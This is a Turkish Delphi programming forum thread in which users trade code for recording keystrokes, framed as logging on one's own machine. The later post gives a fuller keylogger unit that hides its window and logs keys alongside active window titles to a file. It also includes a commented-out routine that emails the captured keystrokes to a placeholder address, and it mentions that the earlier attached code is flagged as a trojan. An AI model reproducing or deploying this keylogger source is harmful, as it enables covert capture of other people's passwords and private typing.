Ceviz Forum

Geri Dön   Ceviz Forum > Programlama > Pascal / Delphi / Delphi.NET

Cevapla
 
LinkBack Seçenekler
Eski 09/06/2005, 00:33   #1 (permalink)
İptal Durumu
 
Üyelik Tarihi: 06/2005
Mesaj: 82
Soru Arkadaşlar Ansi türkçe karakter sorunu yaşıyorum lütfen yardım!!!??

S.a. arkadaşlar ben kendi makinama bir loglama sistemi yapıyorum hem mause hemde klavyede yapılanları bir videyo gibi kaydetcem ama mause işlemim bitti ancak klavye bölümünde sorunum var..

Kod:
//Pc kayıt Klavye bölümü 

procedure TForm1.Timer1Timer(Sender: TObject);
var 
i:integer;
ss:string;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:ss:=ss+'[BackSpace]';
9:ss:=ss+'[TAB]';
13:ss:=ss+#13#10;
27:ss:=ss+'[ESC]';
32:ss:=ss+' ';
48:if GetKeyState(VK_SHIFT)<0 then ss:=ss+')'
else ss:=ss+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'('
else ss:=ss+'9';
65..96: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+LowerCase(Chr(i))
else
ss:=ss+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+UpperCase(Chr(i))
else
ss:=ss+LowerCase(Chr(i));
//NUMPAD
97:ss:=ss+'1';
//...
105:ss:=ss+'9';
106:ss:=ss+'*';
107:ss:=ss+'&';
109:ss:=ss+'-';
110:ss:=ss+'.';
111:ss:=ss+'/';
112..123: //F1-F12
ss:=ss+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then ss:=ss+':'
else ss:=ss+';';
187:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'+'
else ss:=ss+'=';
188:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'<'
else ss:=ss+',';
189:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'_'
else ss:=ss+'-';
190:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'>'
else ss:=ss+'.';
191:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'?'
else ss:=ss+'/';
192:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'~'
else ss:=ss+'`';
219:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'{'
else ss:=ss+'[';
220:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'|'
else ss:=ss+'';
221:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'}'
else ss:=ss+']';
222:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'"'
else ss:=ss+'''';
end;
end;
end;
Ancak türkçe karakterlerdeki klavyelerde ğİşıüöç gibi..... karakterlere basıldığında ss stringi farklı karakterleri içine alıyor acaba bu sorun neden kaynaklanıyor.. Buna bir çözüm olması lazım yardım ederseniz çok sevinirim......
Hepinize ii çalışmalar...
Saygılar
Dr.Kill
Dr.Kill hatta değil   Alıntı Yaparak Yanıtla
Eski 09/06/2005, 12:43   #2 (permalink)
İptal Durumu
 
Üyelik Tarihi: 06/2005
Mesaj: 82
Varsayılan

Zor mu bir soru sordum. Bilmiyorum Delphi kodbank ta AnsiToOem OemToAnsi gibi bir fonksiyon buldum ama tam olarak kullanamadım ...
Yardımlarınıza hala ihtiyacım var ..
Saygılar...
Dr.Kill
Dr.Kill hatta değil   Alıntı Yaparak Yanıtla
Eski 09/06/2005, 13:41   #3 (permalink)
...Sanat insan içindir...
 
burhanmt Adlı Üyenin Profil Grafiği
 
Üyelik Tarihi: 10/2004
Mesaj: 283
Varsayılan

Yapacağın loglama ile program system tray'da çalışırken tuşları okumaksa hook olayını da araştırman gerekir. Ben sana yardımcı olacak kodları incelemen için veriyorum. Bu kodlar kesin işine yarayacaktır. Dosya ekte !
Eklenmiş Dosyalar
File Type: zip keyboardhook.zip (169.3 KB, 142 views)
__________________

"..."
burhanmt hatta değil   Alıntı Yaparak Yanıtla
Eski 09/06/2005, 14:15   #4 (permalink)
İptal Durumu
 
Üyelik Tarihi: 06/2005
Mesaj: 82
Varsayılan

evet aynen öyle ekteki doyayı indiriyorum inceliyecem.. Şimdiden teşekkürler işallah sorun çıkmaz..
Dr.Kill hatta değil   Alıntı Yaparak Yanıtla
Eski 09/06/2005, 14:23   #5 (permalink)
İptal Durumu
 
Üyelik Tarihi: 06/2005
Mesaj: 82
Varsayılan

Arkadışım çooooook teşekkürler.. İşte aradığım bu idi çok teşekkür ederim bunda o sorun yok bve tuşları tek tek belirtmeme gerek yok... Çok teşekkürler..
Saygılar
Dr.Kill
Dr.Kill hatta değil   Alıntı Yaparak Yanıtla
Eski 15/09/2005, 15:19   #6 (permalink)
Üye
 
Üyelik Tarihi: 02/2005
Mesaj: 40
Varsayılan

arkadaşlar bu örnekteki kodlar , şu an f-secure tarafından trojan olarak algılanmakta ve silinmekte, başka bir yöntemi olmalı.

aşağıdaki kod , kısmi olarak tuşları takip ediyor ancak şu eksikleri var , eksikleri giderme noktasında görüşlerinizi almak istiyorum.

-program türkçe karakterleri görmüyor
-num lock açık iken num lock'tan girilen karakterleri görmüyor
-birden fazla tuşa aynı anda basma durumunda başarılı sonuç vermiyor

Kod:
Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls,  StdCtrls, registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer3: TTimer;
    procedure Timer1Timer(Sender: TObject);
    //procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);

  private
    { Private declarations }
  public
  procedure kaydet(basilan_tus:string);
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:string;
  VentanaActual:String;
  VentanaAnterior:String;
  F: Textfile;

implementation

{$R *.DFM}




procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var  PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CONTROL)=-32767 then
 letra:=' -Control- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_MENU)=-32767 then
 letra:=' -Alt- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 if GetAsyncKeyState(240)=-32767 then
  letra:='ğ';


 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    240:Letra:='ğ';
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      VentanaAnterior:=VentanaActual;
      VentanaActual:=VentanaActiva;

   If (ventanaActual='üı') or (ventanaActual='') then
      Exit;
      If ventanaAnterior<>VentanaActiva then
       Begin
        Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
        Buffer:=Buffer+Letra;
        //ShowMessage(Buffer);
        kaydet(Letra);

       End
      Else
       Begin
        if letra <> TeclaAnterior then
         Begin
          TeclaAnterior:=Letra;
          Buffer:=Buffer+Letra;
          //ShowMessage(Buffer);
          kaydet(Letra);
         End;
       End;
      End;
end;

{procedure TForm1.Timer2Timer(Sender: TObject);
begin
Mail.Host:='YOUR SMTP SERVER HERE';
Mail.PostMessage.Create;
Mail.UserID:='guest';
Mail.PostMessage.FromAddress:='key@logger.com';
Mail.PostMessage.FromName:='Keylogger';
Mail.PostMessage.ToAddress.Add('YOUR E-MAIL ADDRESS HERE');
Mail.PostMessage.Body.Add(buffer);
Mail.PostMessage.Date:=DateTimeToStr(now);
If mail.connected=true then
 mail.Disconnect;
Mail.Connect;
Mail.SendMail;
Mail.Disconnect;
buffer:='';
buffer:=buffer+DateToStr(now);
end;
}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin

Buffer:=buffer+DateToStr(now);
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
Form1.hide;
end;

procedure TForm1.kaydet(basilan_tus: string);
const
 dosya_adi='save.txt' ;
begin

  Assignfile(F, dosya_adi);
  if not FileExists(dosya_adi) then
  begin
    Rewrite(F);
    Closefile(F);
  end
  else
    Assignfile(F, dosya_adi);
{$I-}
  Append(F);
{$I+}
  if IOResult <> 0 then
  begin
    ShowMessage('Cannot Open File');
  end;
  Write(F, basilan_tus);
  Closefile(F);
end;

end.
__________________
y = e^x fonksiyonu hangimizi etkilememiştir ki? Küllerinden hayat bulan Zümrüd-ü Anka kuşu gibi, türevi yine kendisidir.
sherlockholmes hatta değil   Alıntı Yaparak Yanıtla
Cevapla

Bookmarks

Seçenekler

Mesaj Yazma Hakları
Yeni mesajgöndermezsiniz
Cevap yazamazsınız
Dosya ekleyemezsiniz
Mesajınızı düzenleyemezsiniz

BB code is Açık
[IMG] kodu Açık
HTML kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık

Benzer Konular
Konu Konuyu açana göre Forum Cevap En Son Mesaj
arkadaşlar ftp kurmak istiyorum yardım lütfen alex42252 Windows 3 24/03/2007 11:25
sql yedek aldıktan sonra Türkçe karakter sorunu yaşıyorum.. SLiM_BoY Veritabanları & SQL 5 21/11/2006 19:57
Flashta türkçe karakter sorunu yaşıyorum afacan8 Flash / Director / Swift 3D ... 2 31/07/2006 17:03
Arkadaşlar acilen yardım lütfen Delete sorunu YBEHOST PHP 8 16/04/2006 06:15
Arkadaşlar lütfen yardım !Hata nerede? turgay C / C++ 9 29/04/2005 13:08


Forum saati Türkiye saatine göredir. GMT +3. Şu anda saat 02:26.

Reklamlar & Desteklenenler
Hassas Valf | Hassas Kaplama | Antalyamız | Gazete | Ticari Bilişim | Hakan Müştak | Rüya Tabirleri | Kadın | Hastalıklar | Cepte msn ve e-posta | Webmaster | Antalya Aupair | Turkish Property Antalya | Forum | Chat | Perde | Adsl | Araba | bolindir.com | guncelle.com | livescore | Web Tasarım | evden eve nakliyat | forum | evden eve | sohbet | Resimcim| Kalifiye İnsan Kaynakları | Web Tasarım | Oyun | Yusuf KOÇ | Akın Yorulmaz | şiir | UFO | Web Tasarım | Oyunlar | Canlı Tv |


Forum Yazılımı: vBulletin Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0
Copyright ©2001 - 2008, Ceviz.net